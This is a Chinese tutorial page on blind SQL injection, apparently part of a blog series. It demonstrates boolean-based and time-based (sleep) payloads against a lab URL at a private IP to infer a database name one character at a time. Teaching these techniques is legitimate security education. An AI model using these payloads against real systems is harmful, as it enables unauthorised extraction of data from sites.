当前位置: 首页 > news >正文

sql 注入(4), 盲注

sql 注入, 盲注

盲注适合在页面没有任何回显时使用.
测试页面有变化, 但是没有显示任何异常错误等信息.

情景:
url: http://192.168.112.200/security/read.php?id=1
服务器数据库名: learn

一, boolean盲注

# 盲注可能需要一个一个字符去试探, 字符串处理函数经常会用到. 比如:
length(n)                 字符串长度
mid(str, start, n)        从start开始截取n个字符, start从1开始
substring(str, start, n)  从start开始截取n个字符, start从1开始
left(str, n)              从左侧开始截取n个字符
right(str, n)             从右侧开始截取n个字符
ord()                     字符的ascii码
ascii()                   字符的ascii码
1. 猜测长度
# 利用比较运算判断数据库名称的长度
http://.../?id=1 and length( database() ) < 10 # 页面正常
http://.../?id=1 and length( database() ) < 5  # 页面异常
http://.../?id=1 and length( database() ) = 5  # 页面正常, 数据库名长度是5.
2. 猜测字符

利用 substring() 等函数, 判断名称中的字母, 范围包括大写或小写字母, 数字, 下划线等.
可以使用python脚本或者burpsuit来做爆破.

# 猜测数据库名第一个字母
http://.../?id=1 and substring( database(), 1, 1 ) = 'a' # 页面异常
http://.../?id=1 and substring( database(), 1, 1 ) = 'c' # 页面异常
http://.../?id=1 and substring( database(), 1, 1 ) = 'l' # 页面正常, 数据库名首字母是 l
# 猜测第二个字母
http://.../?id=1 and substring( database(), 2, 1 ) = 'e' # 页面正常, 数据库第二个字母是 e
http://.../?id=1 and substring( database(), 2, 1 ) = 'E' # 页面正常, 到底是大写还是小写 ?# 这里为了区分大小写, 使用 binary 更准确
http://.../?id=1 and binary substring( database(), 2, 1 ) = 'e' # 页面正常
http://.../?id=1 and binary substring( database(), 2, 1 ) = 'E' # 页面异常# 猜测第三个字母
...

二, 时间型盲注

boolean盲注可以通过页面的变化来判断, 如果测试时, 无论使用什么代码, 页面没有任何变化, 就需要尝试时间盲注.
在真假判断的基础上添加时间判断.

原理:

if(表达式, 语句1, 语句2) 函数的规则:
如果 [表达式] 是真, 则执行 [语句1] , 否则执行 [语句2] .

使用if函数, 对boolean盲注[表达式]做判断, 将延迟时间设置到[语句1],
如果boolean盲注[表达式]猜对了, sql会执行[语句1] 进入延迟, 否则sql会立刻执行[语句2].
所以通过注入后页面的延迟时间可以判断出boolean盲注的猜测是否成功.

案例:
# 猜测数据库的名称长度
http://.../?id=1 and if( length(database())<10, sleep(5), 1) # 页面有明显延迟, 说明猜对
http://.../?id=1 and if( length(database())<5, sleep(5), 1)  # 页面响应不到5秒, 说明猜错
http://.../?id=1 and if( length(database())=5, sleep(5), 1)  # 页面有明显延迟, 说明猜对, 那么长度是5
http://www.lryc.cn/news/191430.html

相关文章:

  • 【string题解 C++】字符串相乘 | 翻转字符串III:翻转单词
  • CentOS 7下JumpServer安装及配置(超详细版)
  • 基于 ACK Fluid 的混合云优化数据访问(五):自动化跨区域中心数据分发
  • sentinel的启动与运行
  • 模拟量采集无线WiFi网络接口TCP Server, UDP, MQTT
  • 五、OSPF动态路由实验
  • 系统架构设计:16 论软件开发过程RUP及其应用
  • Gralloc ION DMABUF in Camera Display
  • 【LVS】lvs的四种模式的区别是什么?
  • Android原生实现控件点击弹起效果方案(API28及以上)
  • 【数据结构-队列 二】【单调队列】滑动窗口最大值
  • 如何设置CentOS系统以禁用不必要的网络端口和服务?
  • 【IDEA项目个别类爆红,但是项目可以正常运行】
  • hive 之select 中文乱码
  • 优化|优化处理可再生希尔伯特核空间的非参数回归中的协变量偏移
  • Netty深入浅出Java网络编程学习笔记(一) Netty入门篇
  • 自动化产线集控系统(西门子CNC 840D/840DSL远程控制)
  • MVVM 与 MVC区别和应用场景?
  • Linux开发-Ubuntu软件源工具
  • 环境下载地址
  • E. Block Sequence-Codeforces Round 903 (Div. 3)
  • 路由router
  • 学习编程-先改变心态
  • 【Node.js】http 模块
  • S/4 HANA 大白话 - 财务会计-2 总账主数据
  • Redis根据中心点坐标和半径筛选符合的数据
  • springboot 集成 zookeeper 问题记录
  • java中的接口interface
  • 多个git提交,只推送其中一个到远程该如何处理
  • uniapp中input的disabled属性